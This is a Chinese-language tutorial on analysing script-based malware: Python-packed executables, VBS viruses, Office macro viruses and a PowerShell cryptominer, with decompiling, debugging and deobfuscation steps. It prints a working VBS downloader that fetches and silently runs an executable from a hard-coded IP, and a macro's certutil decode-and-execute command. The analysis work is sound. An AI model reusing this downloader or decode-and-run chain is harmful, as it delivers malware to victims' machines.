脚本类恶意程序分析技巧汇总
文章目錄
- 前言
- python樣本分析
- 打包一個hello world
- 關于python文件
- 什么是pyc文件
- 什么是pyo文件
- 什么是pyd文件
- 為什么需要pyc文件
- 關于打包的exe位數
- python打包exe程序的特征
- 圖標特征
- 字符串特征
- 入口特征
- 編譯器特征
- 反編譯hello world
- 由exe獲取pyc
- 由pyc獲取py
- python代碼混淆的解決方案
- python代碼的混淆原理
- 實戰去除python代碼混淆
- vbs樣本分析
- vbs病毒介紹
- 用VS調試vbs腳本
- 設置VS調試器
- 啟動調試器
- 開始調試
- vbs病毒混淆解決方案
- 混淆病毒實戰分析
- vbs病毒實戰分析
- 樣本來源
- 實戰分析
- 宏病毒樣本分析
- 基礎理論
- 什么是宏
- 什么是宏病毒
- 宏病毒的特性
- 宏語言
- 數據文件格式
- 常用的宏
- 手工構造一個宏文檔
- 給宏文檔添加密碼
- 繞過宏密碼
- 宏病毒分析方法
- 靜態分析
- 動態調試
- 設置斷點
- 清除所有斷點
- 控制執行流程
- 查看變量
- 搜索指定內容
- 宏代碼混淆解決方案
- 實戰分析宏病毒
- powershell病毒分析
- powershell簡介
- 如何調試PowerShell 腳本
- IDE界面
- 管理斷點
- 設置斷點
- 列出所有斷點
- 移除所有斷點
- 禁用所有斷點
- 管理調試會話
- 啟動調試
- 繼續調試
- 查看調用堆棧
- 停止調試
- 如何單步
- 如何顯示變量的值
- Powershell代碼混淆解決方案
- 常見的混淆方法
- 實戰分析一個PowerShell挖礦病毒
- 樣本來源
- 實戰分析
- 參考資料
前言
惡意代碼分析的工作往往需要掌握各種類型的文件分析技巧。在這里寫一篇總結性的文章,分享一下各個類型的惡意樣本的分析方法,如果錯誤還望指正。前方內容較多,請準備好花生瓜子
python樣本分析
對于python打包的exe,如何反編譯得到源碼成了最關鍵的問題。那么我們首先來將一個py文件打包成exe,了解一下這個過程和python打包的exe的特征
打包一個hello world
首先安裝python2.7,記得添加環境變量。然后安裝用于打包exe的pyinstaller模塊,用下面一條命令:
pip install pyinstaller -i https://pypi.douban.com/simple
后面的網址是豆瓣的鏡像源,由于這個模塊關聯的python模塊較多,使用這個鏡像源會比正常安裝模塊要安全,看到下面的提示代表安裝成功。
pyinstaller基本用法,常用的可選參數如下:
- –onefile 將結果打包成一個可執行文件
- –onedir 將所有結果打包到一個文件夾中,該文件夾包括一個可執行文件和可執行文件執行時需要的依賴文件(默認)
- –paths=DIR 設置導入路徑
- –distpath=DIR 設置將打包的結果文件放置的路徑
- –specpath=DIR 設置將spec文件放置的路徑
- –windowed 使用windows子系統執行,不會打開命令行(只對windows有效)
- –nowindowed 使用控制臺子系統執行(默認)(只對windows有效)
- –icon=<FILE.ICO> 將file.ico添加為可執行文件的資源(只對windows有效)
然后新建一個記事本,寫上hello world,將后綴名改為.py即可
然后按住shift加鼠標右鍵,在此處打開命令窗口,輸入下面一條命令:
pyinstaller --onefile --nowindowed hello.py
在當前文件下生成了build文件夾、dist文件夾和.spec文件
- .spec文件是配置規范文件
- build里存放將被打包的文件 exe文件就存放在dist文件夾下
- __pycache__是pyc文件
關于python文件
什么是pyc文件
pyc是一種二進制文件,是由py文件經過編譯后,生成的文件,是一種byte code,py文件變成pyc文件后,加載的速度有所提高,而且pyc是一種跨平臺的字節碼,是由python的虛擬機來執行的,這個是類似于JAVA或者.NET的虛擬機的概念。pyc的內容,是跟python的版本相關的,不同版本編譯后的pyc文件是不同的,2.5編譯的pyc文件,2.4版本的 python是無法執行的。
什么是pyo文件
pyo是優化編譯后的程序 python -O 源文件即可將源程序編譯為pyo文件
什么是pyd文件
pyd是python的動態鏈接庫。
為什么需要pyc文件
因為py文件是可以直接看到源碼的,如果你是開發商業軟件的話,不可能把源碼也泄漏出去吧?所以就需要編譯為pyc后,再發布出去。當然,pyc文件也是可以反編譯的,不同版本編譯后的pyc文件是不同的,根據python源碼中提供的opcode,可以根據pyc文件反編譯出 py文件源碼,網上可以找到一個反編譯python2.3版本的pyc文件的工具,不過該工具從python2.4開始就要收費了,如果需要反編譯出新版本的pyc文件的話,就需要自己動手了,不過你可以自己修改python的源代碼中的opcode文件,重新編譯 python,從而防止不法分子的破解。
關于打包的exe位數
如果你想打包為32位的程序,那么請在32位的windows環境下進行打包。如果你想打包為64位的程序,那么請在64位的windows環境下進行打包。具體是為什么這個我也不知道,只是我個人的發現
python打包exe程序的特征
既然python能夠打包成exe,那么我們首要的問題就是怎么去辨別python打包exe程序,總結有如下幾個特征
圖標特征
用pyintaller打包的exe,在沒有指定圖標的情況下默認的圖標都是這一個,包括驅動人生的那幾個木馬,都是這樣的圖標,辨識度可以說是很高了。但是這個特征是可以被避免的,僅供參考
字符串特征
以我們編譯的hello world為例,查看一下這個程序的字符串
你會看到__main__和__file__以及一堆以py開頭的函數。明明只寫了一個hello world,為什么會有這么多字符串呢?這是因為python是個解釋型語言,pyinstaller打包的時候實際上是將python的解釋器和py文件一起打包成了一個exe。所以這個字符串特征幾乎是不可避免的
入口特征
我們可以記住第一個函數的入口特征
第一個函數的else分支里連續調用了四個系統函數,當然這是32位的py程序的特征。
編譯器特征
可以看到hello.exe的編譯器為VS14.0,這是因為python是基于VS14版本的,這也可以作為一個辨識的特征
反編譯hello world
接下來我們將這個hello world的exe反編譯成python源碼,這需要兩個步驟,首先由exe獲取pyc文件,再由pyc獲取py文件。
反編譯python生成的exe需要用到pyinstaller庫里的archive_viewer.py腳本。archive_viewer.py一共有四個可用命令:
U: go Up one level O <name>: open embedded archive name X <name>: extract name Q: quit由exe獲取pyc
首先找到archive_viewer.py這個腳本的路徑,可以參考下我的路徑
C:\Python27\Lib\site-packages\PyInstaller\utils\cliutils
然后在此處打開命令窗口,輸入下面一條命令對可執行程序進行解包分析:
python archive_viewer.py C:\hello.exe
除了其余的幾個系統模塊之外,重點關注中間的主程序,使用下面一條命令提取主程序的pyc文件
x hello
由于用pyinstaller打包后,pyc文件的前8個字節會被抹掉,所以最后要自己添加回去。前四個字節為python編譯的版本,后四個字節為時間戳,時間戳可以任意,編譯器版本python2.7 為03 f3 0d 0a,python3.4 為ee 0c 0d 0a
由pyc獲取py
最后使用easy python decompiler這個軟件(我會在文章末尾附上所有相關文件的下載)從pyc文件得到py文件,直接將pyc文件拖拽進程序:
生成的文件就是我們之前寫的代碼
用同樣的方法可以反編譯驅動人生木馬的python模塊。反編譯之后,就能直接看到python源碼。
python代碼混淆的解決方案
python代碼的混淆相對會比較簡單,只是單純利用宏替換的原理修改變量和函數名,這個網站是目前用的最多的python代碼混淆工具:http://pyob.oxyry.com/,
python代碼的混淆原理
這個是該網站的在線混淆頁面,上面顯示了一個示例,左邊是未經過混淆的代碼,右邊是混淆后的代碼。你會發現除了變量名被換掉了之外幾乎沒有任何改變。
實戰去除python代碼混淆
接下來我們來實戰去除python代碼的混淆,以驅動人生的python模塊為例,下面是反編譯后經過一次解密的python代碼:
這個可讀性可以說是相當的差了,但是直接拉到函數開頭會發現這樣一段代碼
沒錯,就是單純的給每個關鍵字都起了一個別名而已
直接利用notepad++的查找替換,記得勾上匹配大小寫,就能去掉混淆,去除后代碼如下:
除了自定義的函數名無法還原之外,代碼邏輯都變得清晰可見了
vbs樣本分析
vbs病毒介紹
VBS病毒是用VB Script編寫的,它利用Windows系統的開放性,通過調用現有的Windows對象、組件,程序可以直接控制文件、系統、注冊表,功能非常強大。VBS腳本病毒通常的傳播方式有:通過Email附件、IRC聊天通道、局域網共享傳播,還可以通過感染htm、jsp、php 、asp等網頁文件傳播,傳播范圍比較廣泛,它的變種多,迷惑性很強,所以電腦如果中了這種病毒就會很麻煩。
vbs類的病毒如何動態調試是個很大的問題,微軟的地表最強IDE Visual Studio就能做到這一點。
用VS調試vbs腳本
設置VS調試器
首先用管理員方式啟動VS,接著選擇調試->選項,把腳本前面的勾給打上
這一步需要具有管理員權限才能成功
啟動調試器
命令行輸入wscript /X 要調試vbs腳本的路徑
WScript.exe命令說明
WScript.exe [vbs文件全路徑] [參數1] [參數2] [...] [參數n] //D //
參數說明:
- //D 打開調試程序
- //X 在調試程序中啟動該程序
- //? 可以使用該參數查看WScript.exe的所有參數及說明
或者用cmd敲上這條命令也可以打開調試器
cscript.exe /x C:\Users\GuiShou\Desktop\1.vbs
開始調試
然后你就可以開始用VS來調試vbs腳本了,可以看堆棧 看內存,看局部變量。
vbs病毒混淆解決方案
vbs病毒最嚴重的就是混淆了, 不管怎么混淆,大致都能用以下兩種解決方案
混淆病毒實戰分析
樣本來源:https://www.52pojie.cn/thread-111170-1-1.html
吾愛上面找的一個樣本,評論區雖然有分析結果,但是并沒有解密過程,貼上代碼
on error resume next set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108)) Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80)) xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+"222.73.45.135:19999/rc/zj/gx"+Chr(46)+Chr(106)+Chr(112)+Chr(103),Chr(48) xPost.Send() Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109)) sGet.Mode = Chr(51) sGet.Type = Chr(49) sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50) oshell.RUN "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),vbhide這個樣本實際上的利用了Chr函數的特性來混淆分析者,我們可疑拷貝第一句vbs代碼,然后修改為下圖
直接將混淆的代碼彈出,改后綴為vbs,運行
就能直接看到未被混淆的代碼,利用這種方法可以輕松解密整個文件,解密后代碼如下:
on error resume next set oshell = wscript.createobject (Wscript.shell) Set xPost = CreateObject(Microsoft.XMLHTTP) xPost.Open GET,http://222.73.45.135:19999/rc/zj/gx.jpg,0 xPost.Send() Set sGet = CreateObject(ADODB.Stream) sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "ccom.exe",2 oshell.RUN "ccom.exe",vbhide可以看到這實際上是一個下載者,目的是從網頁中下載一個exe。
這個是最簡單的混淆,實際上vbs代碼的混淆還會用到很多函數,比如replace(),split()等等,但是只要了解函數及其參數的含義,并把結果輸出,就能解決大部分的混淆代碼。
vbs病毒實戰分析
樣本來源
下面我們實際分析一個vbs樣本,樣本來源自吾愛破解:https://www.52pojie.cn/thread-80139-1-1.html,已經有大神分析過了,我就偷個懶,跟著大佬的結果分析吧
實戰分析
首先創建FSO對象,初始化隨機數
定義變量temp為隨機數名字
循環遍歷,windows文件夾,system文件夾,temp文件夾,得到這三個文件夾的路徑,自我復制到這三個特殊文件夾下
GetSpecialFolder方法參數如下:
創建shell對象 寫入注冊表啟動項和開機啟動項,修改開機登錄窗口內容
打開自身,讀取所有內容,創建drives對象,調用scan函數遍歷并掃描所有磁盤,scan函數代碼如下:
scan函數會遍歷所有的.txt文件,將病毒自身的代碼覆蓋掉原txt文件,然后添加文件后綴.vbs,感染前和感染后文件如圖:
最后獲取自身路徑,進行自刪除操作
宏病毒樣本分析
基礎理論
什么是宏
宏(macro),就是軟件設計者為了在使用軟件工作時,避免一再的重復相同的動作而設計出來的一種工具。它利用簡單的語法,把常用的動作寫成宏,當再工作時,就可以直接利用事先寫好的宏自動運行,去完成某項特定的任務,而不必再重復相同的動作。
什么是宏病毒
宏病毒是一種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔,其中的宏就會被執行,于是宏病毒就會被激活,轉移到計算機上,并駐留在Normal模板上。從此以后,所有自動保存的文檔都會“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的文檔,宏病毒又會轉移到他的計算機上。
宏病毒的特性
宏病毒具有自動執行的特性,特別是含有AutoOpen的宏,一旦用戶打開含有宏的文檔,其中的宏就會被執行,而用戶一無所知
宏語言
宏語言即VISUAL BASIC FOR APPLICATION,簡稱VBA。VBA可以訪問許多操作系統函數并支持文檔打開時自動執行宏——這使得用這種語言寫計算機病毒成為可能
數據文件格式
- .doc—一種可以存貯云的普通文檔;.docx—一種不包含宏的普通文檔;
- .docm——一種包含宏或啟用了宏的文檔;
- .dotx——一種不包含宏的模板;
- .dotm———種包含宏或啟用了宏的模板。
常用的宏
手工構造一個宏文檔
接下來我們來手工構造一個帶有宏的文檔,具體步驟如下:
給宏文檔添加密碼
接下來我們來給這個宏代碼添加密碼,點擊工具->Project屬性
選擇保護,勾選查看時鎖定工程,輸入密碼123,點擊確定,
保存編輯好的文檔,
選擇否,另存為帶有宏的docm
再次打開docm文檔,彈出消息框
這個就是宏病毒的自動執行特性,當點擊啟用宏時,AutoOpen函數的代碼就會自動執行
再次查看宏代碼,發現需要輸入密碼
繞過宏密碼
接下來我們利用一款工具VBA_Password_Bypasser繞過宏設置的密碼(需要注冊才能繞過宏密碼),
點擊Open打開目標文檔,再次打開宏代碼編輯器
發現宏代碼一覽無余
宏病毒分析方法
以這次的目標樣本為例講述宏病毒的分析方法,樣本來源
https://bbs.kafan.cn/thread-2041648-1-1.html
隨便在卡飯找的一個樣本,大家可以自行下載,也可以在文章末尾我提供的鏈接下載
靜態分析
oledump.py是一個用于分析OLE文件(復合文件二進制格式)的程序,我們可以使用它提取文檔中的宏代碼。接下來我們簡單介紹一下oledump的使用,我們以invoice_62891.doc為例進行介紹:
要使用oledump必須先安裝olefile模塊
然后在此處打開命令行,輸入下面這條命令
oledump.py invoice_62891.doc
這是oledump對doc文件的最基礎的分析,顯示了這個文件的Stream數據,一共包含5段,其中字母‘M’,表示這段數據中含有VBA宏(Macro)
oledump.py有許多參數可以選擇,使用oledump.py -m 可以查看oledump.py 的幫助信息,這里我們要用到的參數
是-s和-v
-s 段號:選擇上分析出的某一段來查看內容
-v :解壓縮VBA宏
上面兩個參數結合起來用就可以找出宏源碼:
oledump.py -s 7 -v invoice_62891.doc
可以看到宏代碼被解析出來了。在實際分析時,-s后的參數可以選擇a,表示分析所有段的數據,還可以使用‘>’符號
將宏代碼數據存儲在新文件中,比如
oledump.py -s a -v invoice_62891.doc>1.txt
這樣就能把宏代碼輸出到文件了,即使這個文檔是帶有密碼的
動態調試
接下來說明如何在office自帶的宏代碼編輯器中調試宏代碼
設置斷點
按快捷鍵F9或者在左側單擊可以為當前行設置斷點
清除所有斷點
按快捷鍵Ctrl+Shit+F9可以清除所有斷點
控制執行流程
- 單步步入 F8
- 單步步過 Shift+F8
- 跳出 Ctrl+Shift+F8
- 運行到光標處 Ctrl+F8
- 運行 F5
查看變量
在當前行單擊鼠標右鍵,添加監視,可以查看變量
搜索指定內容
按Ctrl+F可以選擇在當前模塊或者過程查找指定內容
宏代碼混淆解決方案
被混淆的宏代碼其實有一種非常取巧的解決方案,純粹的宏能做到事情實際上是有限的,大多數的宏病毒都是通過解密或下載一個惡意的PE文件,從而利用PE來完成最終的目的。而下載或解密都是通過Shell、WScript.Shell、Application.Run等方式。我們可以直接搜索這些字符串,定位到關鍵代碼的位置。
以這一次的目標樣本為例,直接打開文檔 按Alt+F11打開宏編輯器,這個病毒同樣是有宏密碼保護的,怎么繞過去想必大家已經會了吧?
打開之后直接搜索Shell字符,在當前行下斷點,F5運行
接下來將變量添加到監視
你會發現病毒調用shell執行一條cmd命令,這個cmd命令就是這個宏病毒的最終目的了,從另一個角度來看,這不僅是一種去混淆的方法,也是一種偷懶的方法
實戰分析宏病毒
接下來分析真正分析這個宏病毒,在AutoOpen函數下斷 按F5運行
F8單步跟蹤,
在跟蹤的過程可以右鍵把表達式添加到監視
一直往下跟蹤,你會發現所有的操作都是在拼接字符串,雖然說變量名是經過混淆的,但這絲毫不影響我們的分析
一直單步到這一句的時候,重點來了,通過變量的字符串拼接,程序創建了一個文件系統對象
然后用文件系統對象創建文件 路徑為"C:\Users\GuiShou\AppData\Local\Temp\microsoft.pfx",參數True表示覆蓋原文件
接下來將這一段看上去似乎亂碼的字符串寫入到文件
然后拼接一個字符串,我們不需要關心每一部分是什么,只需要將變量添加監視就能直接看到拼接的最終結果
然后調用shell執行這條命令
"cmd /c certutil -decode %TMP%\\microsoft.pfx %TMP%\\microsoft.exe & start %TMP%\\microsoft.exe"
這條命令的含義是調用cmd命令先將Temp目錄下的microsoft.pfx文件解密,然后運行microsoft.exe
那么我們先將截取這條命令的前半部分將病毒寫入的這個文件進行解密,調用下面這條命令將解密后的文件輸出
直接打開解密后的1.txt,MZ開頭 很明顯這是個PE文件了
那么這個宏病毒的最終目的已經很明顯了 輸出一個加密的exe文件,利用cmd將其解密后執行
宏病毒的部分已經分析完成了。至于exe的惡意程序不在本節討論范圍之內
powershell病毒分析
powershell簡介
Powershell 是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。你可以把它看成是命令行提示符cmd.exe的擴充,不對,應當是顛覆。 powershell需要.NET環境的支持,同時支持.NET對象。微軟之所以將Powershell 定位為Power,并不是夸大其詞,因為它完全支持對象。其可讀性,易用性,可以位居當前所有shell之首
PowerShell功能十分強大。它旨在從命令行自動執行任務并解決配置管理的問題,由此創建了許多重要工具。PowerShell有很多優點:例如易于導入模塊,能夠訪問核心API和遠程命令,也正是由于這些優點使其成為攻擊者執行無文件攻擊的首選工具之一。使用本地或預先安裝的工具來進行攻擊已經越來越受歡迎,至少部分是由于基于文件的AV系統(例如ML引擎)的進步以檢測從未見過的攻擊。
如何調試PowerShell 腳本
在運行窗口輸入powershell ISE打開IDE窗口,隨便打開一個PS腳本
IDE界面
首先來介紹一下這個界面
如圖所示: IDE環境被分成了三個窗格,這個窗格的布局可以自定義。
- 左上角是腳本窗格,會顯示當前打開的腳本的代碼;
- 左下角的窗口是交互窗格,也叫做命令窗格,可以在里面輸入要執行的命令,同時這個窗格還會提示當前的工作路徑;
- 右邊是命令窗格,到目前為止我還沒發現對調試有什么幫助
管理斷點
在 Windows PowerShell 調試環境中設置三種類型的斷點:
只有行斷點可以通過使用菜單或鍵盤快捷方式進行設置。 可以設置其他兩種類型的斷點,但應通過使用 Set-PSBreakpoint cmdlet 從控制臺窗格中進行設置。
設置斷點
**設置行斷點:**右鍵單擊你想要設置行斷點的行,然后單擊“切換斷點,或者直接用快捷鍵F9
設置變量斷點:
示例:
# This command sets a breakpoint on the Server variable in the Sample.ps1 script. Set-PSBreakpoint -Script sample.ps1 -Variable Server列出所有斷點
在“調試”菜單上,單擊“列出斷點”,或者在控制臺輸入這條命令Get-PSBreakpoint
移除所有斷點
若要移除在當前會話中定義的所有斷點,在“調試”菜單上,單擊“刪除所有斷點”
禁用所有斷點
若要禁用在當前會話中的所有斷點,在“調試”菜單上,單擊“禁用所有斷點”,或者在控制臺輸入這條命令Get-PSBreakpoint | Disable-PSBreakpoint
管理調試會話
啟動調試
按 F5 或在工具欄上,單擊“運行腳本”圖標,或在“調試”菜單上,單擊“運行/繼續”。 腳本將一直運行,直到它遇到第一個斷點。 它將在此處暫停操作,并突出顯示它暫停時所在的行。
繼續調試
按 F5 或在工具欄上,單擊“運行腳本”圖標,或在“調試”菜單上,單擊“運行/繼續”或在控制臺窗格中,鍵入 C,然后按 ENTER。 這將導致腳本繼續運行到下一個斷點,或如果接下來沒有遇到任何斷點的話運行到腳本的末尾。
查看調用堆棧
若要查看當前調用堆棧,請按 CTRL+SHIFT+D,或在“調試”菜單上,單擊“顯示調用堆棧”,在控制臺窗格中,鍵入 K,然后按 ENTER。
停止調試
按 SHIFT-F5,或在“調試”菜單上,單擊“停止調試器”,或者,在控制臺窗格中,鍵入 Q,然后按 ENTER。
如何單步
- F10 單步步過
- F11 單步步入
- Shift+F11 跳出
- F5 運行
如何顯示變量的值
powershell是沒有監視窗口的,那么如何查看某個變量的值呢?有兩個方法:
Powershell代碼混淆解決方案
常見的混淆方法
對于PowerShell而言,以下是一些常見的混淆方法:
還有更復雜的混淆方法,如變量創建和替換。混淆器將隨機變量定義為字符串的全部或部分,并通過文件在該字符串的位置插入/替換它的地方。 有許多方法可以實現替換。以下是幾個例子:
格式化操作符
{1}PSScriptRoot{0}..{0}PSVersionCompare.psd1-``F ‘\’,’$’`
函數替換
`(pZyPSScriptRoot\Add``-``LTUser.ps1).replace(``'pZy'``,’$’)`跟vbs去混淆的方法一樣,了解函數及參數解釋,結合echo打印函數,了解混淆原理,再反混淆就沒有任何問題了。這里就不再舉例了。
實戰分析一個PowerShell挖礦病毒
樣本來源
接下來我們來實戰分析一個powershell病毒,樣本來源還是卡飯
https://bbs.kafan.cn/thread-2119454-1-1.html
我們來分析其中一個樣本
實戰分析
在第一行F9下斷點,然后F5運行,程序斷下
首先初始化了三個變量和一個對象,變量的值我們可以在控制窗口看到
接著調用DownloadFile方法從一個服務器地址下載一個exe到Temp目錄下
接著自我復制到User目錄下
接著將Temp目錄下的yam文件再次拷貝一份 重命名為xe.exe
然后創建并刪除計劃任務
接著調用cmd命令對抗殺軟
然后啟動Temp目錄下的xe.exe開始挖礦,后面的參數是礦池的啟動參數
到此 這個powershell病毒就分析完成了
最后,附上相關文件 樣本和工具 大家可以到我的Github下載,另外我會提供一份文章的pdf版,有需要的可以下載
https://github.com/TonyChen56/Virus-Analysis
參考資料
如何在 Windows PowerShell ISE 中調試腳本:https://docs.microsoft.com/zh-cn/powershell/scripting/components/ise/how-to-debug-scripts-in-windows-powershell-ise?view=powershell-6
反編譯python打包的exe文件:https://www.cnblogs.com/QKSword/p/10540431.html
宏病毒研究1——基礎理論篇 :https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35161&extra=page%3D1%26filter%3Dtypeid%26typeid%3D79
Powershell 代碼反混淆技術研究:<https://bbs.pediy.com/thread-248034.htm
總結
以上是生活随笔為你收集整理的脚本类恶意程序分析技巧汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 160个CrackMe005
- 下一篇: 160个Crackme038之P-Cod